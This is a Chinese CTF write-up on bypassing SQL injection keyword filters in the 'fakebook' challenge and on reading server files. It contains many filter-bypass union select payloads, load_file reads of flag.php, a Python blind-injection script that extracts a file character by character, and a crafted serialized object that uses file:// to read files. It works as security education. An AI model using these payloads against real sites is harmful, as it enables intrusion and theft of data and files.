CTF实战:绕过SQL注入过滤的进阶技巧与文件读取方法
在CTF比赛中,SQL注入类题目往往不会直接让你轻松使用union select这样的标准语法。出题者通常会设置各种过滤规则,比如拦截空格、注释符或者特定关键词。面对这种情况,很多中级玩家容易陷入思维定式,反复尝试被拦截的payload而不得其解。今天我们就来系统性地探讨几种绕过union select过滤的方法,并最终实现文件读取的高级技巧。
1. 理解题目环境与过滤机制
首先我们需要明确一点:在真实的CTF比赛中,盲目尝试各种payload不仅效率低下,还容易被系统记录异常行为。正确做法是先全面分析题目环境,找出可能的注入点和过滤规则。
以fakebook这道经典题目为例,通过基础测试我们可以发现:
- 注入点位于
view.php的no参数 union select被直接过滤- 空格字符可能被限制
- 错误回显信息有限
关键发现:通过简单的布尔测试(如?no=1 and 1=1和?no=1 and 1=2),我们确认了注入存在,并且获取到了网站目录结构信息:/var/www/html。这个信息对后续文件读取至关重要。
2. 绕过union select过滤的几种方法
当标准语法被过滤时,我们需要寻找替代方案。以下是几种经过验证的有效方法:
2.1 使用注释符分割关键词
最直接的绕过方式是利用SQL注释符分割被拦截的关键词:
sql复制?no=-1 union/**/select 1,2,3,4--+
?no=-1 union//select 1,2,3,4--+
这两种方式都能有效绕过简单的关键词过滤:
/**/是SQL中的多行注释符//在某些数据库环境中也被识别为注释--+用于注释掉后续语句
2.2 大小写混合与特殊编码
某些简单的WAF可能只检查小写形式的敏感词:
sql复制?no=-1 UniOn SeLeCt 1,2,3,4--+
或者使用URL编码:
sql复制?no=-1 %75%6e%69%6f%6e %73%65%6c%65%63%74 1,2,3,4--+
2.3 内联注释与特殊语法
MySQL特有的内联注释语法也能有效绕过:
sql复制?no=-1 /*!union*/ /*!select*/ 1,2,3,4--+
3. 确定回显位置与信息获取
成功绕过过滤后,下一步是确定回显位置。通过以下payload可以测试:
sql复制?no=-1 union/**/select 1,2,3,4--+
假设我们发现第2和第4列有回显,就可以利用这些位置获取信息:
获取数据库信息:
sql复制?no=-1 union/**/select 1,user(),3,database()--+
获取表名:
sql复制?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
4. 进阶文件读取技巧
在fakebook题目中,我们已经知道flag可能位于/var/www/html/flag.php。通过以下方法可以直接读取文件内容:
4.1 使用load_file函数
sql复制?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
注意事项:
- 需要绝对路径
- MySQL用户需要有文件读取权限
- 文件内容可能会被截断或编码
4.2 自动化爆破脚本
对于大型文件或需要精确控制的情况,可以编写Python脚本逐字符读取:
python复制import requests
url = "http://target.com/view.php"
file_path = "/var/www/html/flag.php"
result = ""
for i in range(1, 100):
for c in range(32, 127):
payload = f"1 and ascii(substring(load_file('{file_path}'),{i},1))={c}"
r = requests.get(url, params={'no': payload})
if "正常页面标识" in r.text:
result += chr(c)
print(result)
break
4.3 利用序列化对象读取文件
在fakebook题目中,还可以利用UserInfo类的反序列化特性:
sql复制?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这种方法需要:
- 了解目标系统的对象结构
- 构造合法的序列化字符串
- 利用file://协议读取文件
5. 防御措施与题目设计思路
作为CTF选手,了解防御措施不仅能帮助我们更好地解题,也能提升安全意识:
| 防御措施 | 绕过难度 | 实现复杂度 |
|---|---|---|
| 关键词过滤 | 中等 | 低 |
| 预处理语句 | 高 | 高 |
| 字符转义 | 中等 | 中等 |
| 权限控制 | 高 | 高 |
在实际CTF题目设计中,出题者通常会:
- 设置多层过滤规则
- 限制错误信息回显
- 使用非常规的过滤逻辑
- 结合其他漏洞类型
6. 实战经验与技巧总结
在多次CTF比赛中,我发现以下几个技巧特别实用:
- 信息收集优先:先确定数据库类型、版本等信息
- 逐步测试:从简单payload开始,逐步增加复杂度
- 多角度尝试:不要局限于一种绕过方法
- 注意编码:特殊字符可能需要URL编码
- 利用环境特性:如MySQL的注释特性、SQLite的特殊语法等
常见误区:
- 过度依赖自动化工具
- 忽视基础布尔测试
- 不考虑数据库差异
- 忽略权限限制
最后分享一个真实案例:在某次比赛中,题目过滤了所有空格字符,但允许%a0(非断空格)。通过使用?no=1%a0union%a0select成功绕过,这提醒我们要对各种空白符变体保持敏感。
